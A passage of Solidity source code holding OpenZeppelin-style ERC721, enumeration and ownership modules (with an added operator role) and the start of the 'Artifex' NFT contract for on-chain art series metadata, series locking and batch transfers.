return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
mapping(address => uint8) private _otherOperators;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Returns the operator state for an address. State
* of 1 means active operator of the contract. State of 0 means
* not an operator of the contract.
*/
function otherOperator(address operatorAddress)
public
view
virtual
returns (uint8)
{
return _otherOperators[operatorAddress];
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Throws if called by any account other than an operator.
*/
modifier anyOperator() {
require(
owner() == _msgSender() || _otherOperators[msg.sender] == 1,
"Ownable: caller is not an operator"
);
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
/**
* @dev Sets the state of other operators for performaing certain
* contract functions. Can only be called by the current owner.
*/
function setOtherOperator(address _newOperator, uint8 _state)
public
virtual
onlyOwner
{
require(_newOperator != address(0));
_otherOperators[_newOperator] = _state;
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
address owner = _owners[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is
Context,
ERC165,
ERC721,
IERC721Enumerable
{
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(IERC165, ERC165, ERC721)
returns (bool)
{
return
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
virtual
override
returns (uint256)
{
require(
index < ERC721.balanceOf(owner),
"ERC721Enumerable: owner index out of bounds"
);
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index)
public
view
virtual
override
returns (uint256)
{
require(
index < ERC721Enumerable.totalSupply(),
"ERC721Enumerable: global index out of bounds"
);
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId)
private
{
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
/**
* @dev The Artifex main contract.
*
* Each Artifex token implements full on-chain metadata
* in standard JSON format for anyone to retreive using the
* getMetadata() function in this contract. A mirrored copy of the
* metadata JSON is also stored on IPFS.
*
* Each NFT 2D image is stored on both IPFS and Arweave
* Each NFT 3D model is stored on both IPFS and Arweave
*
* The metadata on-chain in this contract (and mirrored on IPFS)
* return the hashes / locations of all NFT images and 3D model files
* stored on IPFS and Arweave.
*
* The metadata on-chain in this contract (and mirrored on IPFS)
* also return SHA256 hashes of the NFT images and 3D model files
* for verifying authenticity of the NFTs.
*
* Metadata is retreivable using the tokenURI() call as specified
* in the ERC721-Metadata standard. tokenURI can't point to on-chain
* locations directly - it points to an off-chain URI for
* returning metadata.
*/
contract Artifex is Ownable, ERC721Enumerable {
// NOTE: `SafeMath` is no longer needed starting with Solidity 0.8.
// The compiler now has built in overflow checking.
//
// using SafeMath for uint256;
using Address for address;
using Strings for uint256;
// Core series metadata
struct ArtistNFTSeriesInfo {
uint256 totalEditions;
string creatorName;
string artistName;
string artTitle;
string description;
string sha256ImageHash;
string ipfsImageHash;
string arweaveImageHash;
string imageFileType;
}
// Extended series metadata
struct ArtistNFTSeries3DModelInfo {
string sha256ModelHash;
string ipfs3DModelHash;
string arweave3DModelHash;
string modelFileType;
}
// Series ID => Core series metadata for NFT Type 1 (2D art piece)
mapping(uint256 => ArtistNFTSeriesInfo) private artist2DSeriesInfo;
// Series ID => Core series metadata for NFT Type 2 (3D art piece,
// in 2D format)
mapping(uint256 => ArtistNFTSeriesInfo) private artist3DSeriesInfo;
// Series ID => Extended series metadata for NFT Type 2 (3D model
// files for 3D art piece)
mapping(uint256 => ArtistNFTSeries3DModelInfo)
private artistSeries3DModelInfo;
// Series ID => series locked state
mapping(uint256 => bool) private artistSeriesLocked;
// Token ID => token's IPFS Metadata hash
mapping(uint256 => string) private tokenIdToIPFSMetadataHash;
// Base token URI used as a prefix for all tokens to build
// a full token URI string
string private _baseTokenURI;
// Base external token URI used as a prefix for all tokens
// to build a full external token URI string
string private _externalBaseTokenURI;
// Multipliers for token Id calculations
uint256 constant SERIES_MULTIPLIER = 100000000;
uint256 constant NFT_TYPE_MULTIPLIER = 10000;
/**
* @notice Event emitted when the takenBaseUri is set after
* contract deployment
* @param tokenBaseUri the base URI for tokenURI calls
*/
event TokenBaseUriSet(string tokenBaseUri);
/**
* @notice Event emitted when the externalBaseUri is set after
* contract deployment.
* @param externalBaseUri the new external base URI
*/
event ExternalBaseUriSet(string externalBaseUri);
/**
* @notice Event emitted when a series is locked/sealed
* @param seriesId the ID of the newly locked/sealed series
*/
event SeriesLocked(uint256 seriesId);
/**
* @dev Constructor
* @param name the token name
* @param symbol the token symbol
* @param base_uri the base URI for location of off-chain metadata
* @param external_base_uri the base URI for viewing token on website
*/
constructor(
string memory name,
string memory symbol,
string memory base_uri,
string memory external_base_uri
) ERC721(name, symbol) {
_baseTokenURI = base_uri;
_externalBaseTokenURI = external_base_uri;
}
/**
* @notice Add core metadata for the 2D piece in an artist series.
* NOTE: For Artifex, there will only be 100 artist series IDs (1-100).
* Each series will have a 1 of 1 2D art piece (nftType 1) and a run
* of 100 3D art pieces (nftType 2). Series ID 0 will be a gift
* series and is not included in the 1-100 artist series IDs.
* @param seriesId the ID of the series (0-100)
* @param seriesInfo structure with series metadata
*/
function addArtistSeries2dNftType(
uint256 seriesId,
ArtistNFTSeriesInfo calldata seriesInfo
) external anyOperator {
// Series ID must be 0-100
require(seriesId <= 100);
// Once a series metadata is locked, it cannot be updated. The
// information will live as permanent metadata in the contract.
require(artistSeriesLocked[seriesId] == false, "Series is locked");
artist2DSeriesInfo[seriesId] = seriesInfo;
}
/**
* @notice Add core metadata for the 3D pieces in an artist series.
* NOTE: For Artifex, there will only be 100 artist series IDs (1-100).
* Each series will have a 1 of 1 2D art piece (nftType 1) and a run
* of 100 3D art pieces (nftType 2). Series ID 0 will be a gift
* series and is not included in the 1-100 artist series IDs.
* @param seriesId the ID of the series (0-100)
* @param seriesInfo structure with series metadata
* @param series3DModelInfo structure with series 3D model metadata
*/
function addArtistSeries3dNftType(
uint256 seriesId,
ArtistNFTSeriesInfo calldata seriesInfo,
ArtistNFTSeries3DModelInfo calldata series3DModelInfo
) external anyOperator {
// Series ID must be 0-100
require(seriesId <= 100);
// Once a series metadata is locked, it cannot be updated. The
// information will live as permanent metadata in the contract and
// on IFPS
require(artistSeriesLocked[seriesId] == false, "Series is locked");
artist3DSeriesInfo[seriesId] = seriesInfo;
artistSeries3DModelInfo[seriesId] = series3DModelInfo;
}
/**
* @dev Update the IPFS hash for a given token.
* Series metadata must NOT be locked yet (must still be within
* the series metadata update window)
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to set its URI
* @param ipfsHash string IPFS link to assign
*/
function updateTokenIPFSMetadataHash(
uint256 tokenId,
string calldata ipfsHash
) external anyOperator {
require(
artistSeriesLocked[getSeriesId(tokenId)] == false,
"Series is locked"
);
_setTokenIPFSMetadataHash(tokenId, ipfsHash);
}
/**
* @notice This function permanently locks metadata updates for all NFTs
* in a Series. For practical reasons, a short period of time is given
* for updates following a series mint. For example, maybe an artist
* notices incorrect info in the description of their art after it is
* minted. In most projects, metadata updates would be possible by changning
* the metadata on the web server hosting the metadata. However, for
* Artifex once metadata is locked, no updates to the metadata will be
* possible - the information is permanent and immutable.
*
* The metadata will be permanent on-chain here in the contract, retrievable
* as a JSON string via the getMetadata() call. A mirror of the metadata will
* also live permanently on IPFS at the location stored in the
* tokenIdToIPFSMetadataHash mapping in this contract.
*
* @param seriesId the ID of the series (0-100)
*/
function lockSeries(uint256 seriesId) external anyOperator {
// Series ID must be 0-100
require(seriesId <= 100);
// Series must not have been previously locked
require(artistSeriesLocked[seriesId] == false, "Series is locked");
// Lock the series. Once a series information is set, it can no
// longer be updated. The information will live as permanent
// metadata in the contract.
artistSeriesLocked[seriesId] = true;
// Emit the event
emit SeriesLocked(seriesId);
}
/**
* @notice Sets a new base token URI for accessing off-chain metadata
* location. If this is changed, an event gets emitted.
* @param newBaseTokenURI the new base token URI
*/
function setBaseURI(string calldata newBaseTokenURI) external anyOperator {
_baseTokenURI = newBaseTokenURI;
// Emit the event
emit TokenBaseUriSet(newBaseTokenURI);
}
/**
* @notice Sets a new base external URI for accessing the nft on a web site.
* If this is changed, an event gets emitted
* @param newExternalBaseTokenURI the new base external token URI
*/
function setExternalBaseURI(string calldata newExternalBaseTokenURI)
external
anyOperator
{
_externalBaseTokenURI = newExternalBaseTokenURI;
// Emit the event
emit ExternalBaseUriSet(newExternalBaseTokenURI);
}
/**
* @dev Batch transfer of Artifex NFTs from one address to another
* @param _to The address of the recipient
* @param _tokenIds List of token IDs to transfer
*/
function batchTransfer(address _to, uint256[] calldata _tokenIds) public {
require(_tokenIds.length > 0);
for (uint256 i = 0; i < _tokenIds.length; i++) {
safeTransferFrom(msg.sender, _to, _tokenIds[i], "");
}
}
/**
* @notice Given a series ID, return the locked state
* @param seriesId the series ID
